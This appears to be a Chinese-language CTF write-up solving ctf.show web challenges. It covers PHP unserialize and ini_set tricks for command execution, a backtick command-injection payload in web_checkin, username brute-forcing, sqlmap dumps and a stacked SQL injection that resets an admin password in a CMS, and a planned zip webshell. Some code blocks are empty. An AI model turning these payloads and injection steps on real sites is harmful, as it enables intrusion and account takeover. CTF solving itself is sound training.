easy_unserialize
1 |
|
可以利用ini_set
进行在线配置,相当于热加载,参数还是可控的,直接找可利用函数即可,找到unserialize_callback_func
,这个函数可以执行函数,而函数参数是反序列化的类名,比如
1 |
|
这样子就可以,还有个很好利用的方向就是,只要值是没有定义的方法,就会把这个方法在报错中显示出来,也就是相当于执行命令了,而我们再把错误日志给写出来,进行动态设置,相当于是一个软链接,就可以去访问拿到命令执行的结果了,还要设置html_errors
不然会把错误进行html编码就不能得到结果了
1 |
|
还有个函数
spl_autoload
它可以接收两个参数,第一个参数是$class_name,表示类名,第二个参数$file_extensions是可选的,表示类文件的扩展名,如果不指定的话,它将使用默认的扩展名.inc或.php
1 |
|
依次执行即可
RealWorld_CyberShow
进去之后,先进blog才能拿到第四个页面,给了用户名模板和初始密码,爆破用户名就可以了
1 | 2020036001\363636 |
web_checkin
1 |
|
看着特别吓人,直接给闭合了就完事了
1 | ?code=?><?=`nl%09/*` |
easy CMS
修改点在 FrPHP/lib/Model.php的第36行
注入点在 Home/c/HomeController.php的jizhi_details
hint:后台似乎有个压缩包getshell
简单看了一下代码,觉得存在sql注入漏洞,并且开了3306和6379端口的,找找代码,在index.php
里面看到了查询语句,然后开始干
1 | $sql = str_replace('jz_',$config['db']['prefix'],$sql); |
1 | python sqlmap.py http://5ae6bfbc-c7a1-4626-8bbc-ec441d22c8c7.challenge.ctf.show/home/jizhi_details/?id=1 -D jizhicms192 -T jz_level -C name,pass --dump --batch |
得到poc以及用户名和加密的密码
1 | --- |
结果这一次注入靶机就没了,再次进行注入,利用联合注入
1 | python sqlmap.py -u http://c6b85b76-eb22-408e-9bb4-dd0b276d2816.challenge.ctf.show/home/jizhi_details/?id=1 --technique S --risk 3 --level 5 --dbs --batch |
得到了poc
1 | --- |
我们可以直接进行堆叠注入了那,把密码给改了
1 | /home/jizhi_details/?id=1';update jz_level set pass='a07b6751d2d9fb3a3a8488a030c69ec6' where name='feng'%23 |
我们的用户名密码就变成了
1 | feng\123456 |
登不上?我没问题吧,后面就是一个压缩包getshell,打不了了,后面应该是把一句话压缩成zip放服务器上面,让其远程加载,然后去访问/A/exts/
下的shell即可